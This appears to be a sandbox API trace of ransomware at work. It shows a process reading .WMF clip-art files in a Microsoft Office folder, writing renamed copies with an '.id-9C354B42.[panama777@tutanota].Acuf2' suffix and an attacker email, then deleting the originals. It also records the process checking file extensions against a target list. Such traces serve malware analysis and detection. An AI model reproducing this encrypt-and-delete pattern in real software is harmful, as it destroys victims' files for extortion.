	[0265.451] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.451] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.451] SetEndOfFile (hFile=0x35c) returned 1
	[0265.451] CloseHandle (hObject=0x35c) returned 1
	[0265.452] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.452] SetEndOfFile (hFile=0x344) returned 1
	[0265.453] CloseHandle (hObject=0x344) returned 1
	[0265.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.461] lstrlenW (lpString=".doc") returned 4
	[0265.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.461] lstrlenW (lpString=".docx") returned 5
	[0265.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.461] lstrlenW (lpString=".pdf") returned 4
	[0265.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString=".xls") returned 4
	[0265.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.462] lstrlenW (lpString=".xlsx") returned 5
	[0265.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.462] lstrlenW (lpString=".ppt") returned 4
	[0265.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.462] lstrlenW (lpString=".zip") returned 4
	[0265.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.462] lstrlenW (lpString=".rar") returned 4
	[0265.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString=".bz2") returned 4
	[0265.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString=".7z") returned 3
	[0265.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.462] lstrlenW (lpString=".dbf") returned 4
	[0265.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.462] lstrlenW (lpString=".1cd") returned 4
	[0265.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63
	[0265.462] lstrlenW (lpString=".jpg") returned 4
	[0265.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.463] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1568) returned 1
	[0265.463] CloseHandle (hObject=0x344) returned 1
	[0265.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20
	[0265.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0265.464] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.464] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.464] GetLastError () returned 0x0
	[0265.464] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x620, lpOverlapped=0x0) returned 1
	[0265.466] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x630, lpOverlapped=0x0) returned 1
	[0265.469] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.470] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.470] SetEndOfFile (hFile=0x35c) returned 1
	[0265.470] CloseHandle (hObject=0x35c) returned 1
	[0265.470] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.470] SetEndOfFile (hFile=0x344) returned 1
	[0265.799] CloseHandle (hObject=0x344) returned 1
	[0265.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0266.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0268.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.030] lstrlenW (lpString=".doc") returned 4
	[0268.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.030] lstrlenW (lpString=".docx") returned 5
	[0268.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.031] lstrlenW (lpString=".pdf") returned 4
	[0268.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString=".xls") returned 4
	[0268.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.031] lstrlenW (lpString=".xlsx") returned 5
	[0268.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.031] lstrlenW (lpString=".ppt") returned 4
	[0268.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.031] lstrlenW (lpString=".zip") returned 4
	[0268.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.031] lstrlenW (lpString=".rar") returned 4
	[0268.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString=".bz2") returned 4
	[0268.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString=".7z") returned 3
	[0268.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.031] lstrlenW (lpString=".dbf") returned 4
	[0268.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.031] lstrlenW (lpString=".1cd") returned 4
	[0268.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63
	[0268.031] lstrlenW (lpString=".jpg") returned 4
	[0268.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.073] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.073] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0268.073] GetLastError () returned 0x0
	[0268.073] ReadFile (in: hFile=0x368, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1388, lpOverlapped=0x0) returned 1
	[0268.086] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1390, lpOverlapped=0x0) returned 1
	[0268.087] ReadFile (in: hFile=0x368, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.087] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.087] SetEndOfFile (hFile=0x35c) returned 1
	[0268.087] CloseHandle (hObject=0x35c) returned 1
	[0268.087] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.087] SetEndOfFile (hFile=0x368) returned 1
	[0268.090] CloseHandle (hObject=0x368) returned 1
	[0268.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0268.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.092] lstrlenW (lpString=".doc") returned 4
	[0268.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.092] lstrlenW (lpString=".docx") returned 5
	[0268.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.092] lstrlenW (lpString=".pdf") returned 4
	[0268.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.092] lstrlenW (lpString=".xls") returned 4
	[0268.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.092] lstrlenW (lpString=".xlsx") returned 5
	[0268.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.092] lstrlenW (lpString=".ppt") returned 4
	[0268.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.092] lstrlenW (lpString=".zip") returned 4
	[0268.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.092] lstrlenW (lpString=".rar") returned 4
	[0268.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.092] lstrlenW (lpString=".bz2") returned 4
	[0268.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.092] lstrlenW (lpString=".7z") returned 3
	[0268.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.092] lstrlenW (lpString=".dbf") returned 4
	[0268.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.093] lstrlenW (lpString=".1cd") returned 4
	[0268.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63
	[0268.093] lstrlenW (lpString=".jpg") returned 4
	[0268.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.104] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.104] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.114] GetLastError () returned 0x0
	[0268.114] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3dbe, lpOverlapped=0x0) returned 1
	[0268.116] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3dc0, lpOverlapped=0x0) returned 1
	[0268.117] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.117] WriteFile (in: hFile=0x368, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.118] SetEndOfFile (hFile=0x368) returned 1
	[0268.118] CloseHandle (hObject=0x368) returned 1
	[0268.118] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.118] SetEndOfFile (hFile=0x274) returned 1
	[0268.120] CloseHandle (hObject=0x274) returned 1
	[0268.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0268.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString=".doc") returned 4
	[0268.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString=".docx") returned 5
	[0268.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.142] lstrlenW (lpString=".pdf") returned 4
	[0268.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString=".xls") returned 4
	[0268.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.142] lstrlenW (lpString=".xlsx") returned 5
	[0268.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.142] lstrlenW (lpString=".ppt") returned 4
	[0268.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString=".zip") returned 4
	[0268.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.142] lstrlenW (lpString=".rar") returned 4
	[0268.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString=".bz2") returned 4
	[0268.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString=".7z") returned 3
	[0268.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString=".dbf") returned 4
	[0268.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString=".1cd") returned 4
	[0268.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63
	[0268.142] lstrlenW (lpString=".jpg") returned 4
	[0268.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.143] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5958) returned 1
	[0268.143] CloseHandle (hObject=0x35c) returned 1
	[0268.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20
	[0268.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0268.143] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.143] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0268.144] GetLastError () returned 0x0
	[0268.144] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1746, lpOverlapped=0x0) returned 1
	[0268.160] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1750, lpOverlapped=0x0) returned 1
	[0268.161] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.161] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.161] SetEndOfFile (hFile=0x334) returned 1
	[0268.161] CloseHandle (hObject=0x334) returned 1
	[0268.162] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.162] SetEndOfFile (hFile=0x35c) returned 1
	[0268.164] CloseHandle (hObject=0x35c) returned 1
	[0268.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.166] lstrlenW (lpString=".doc") returned 4
	[0268.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.166] lstrlenW (lpString=".docx") returned 5
	[0268.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.166] lstrlenW (lpString=".pdf") returned 4
	[0268.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.166] lstrlenW (lpString=".xls") returned 4
	[0268.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.166] lstrlenW (lpString=".xlsx") returned 5
	[0268.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.166] lstrlenW (lpString=".ppt") returned 4
	[0268.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.166] lstrlenW (lpString=".zip") returned 4
	[0268.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.166] lstrlenW (lpString=".rar") returned 4
	[0268.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.167] lstrlenW (lpString=".bz2") returned 4
	[0268.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.167] lstrlenW (lpString=".7z") returned 3
	[0268.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.167] lstrlenW (lpString=".dbf") returned 4
	[0268.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.167] lstrlenW (lpString=".1cd") returned 4
	[0268.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63
	[0268.167] lstrlenW (lpString=".jpg") returned 4
	[0268.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.177] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5414) returned 1
	[0268.177] CloseHandle (hObject=0x370) returned 1
	[0268.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20
	[0268.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
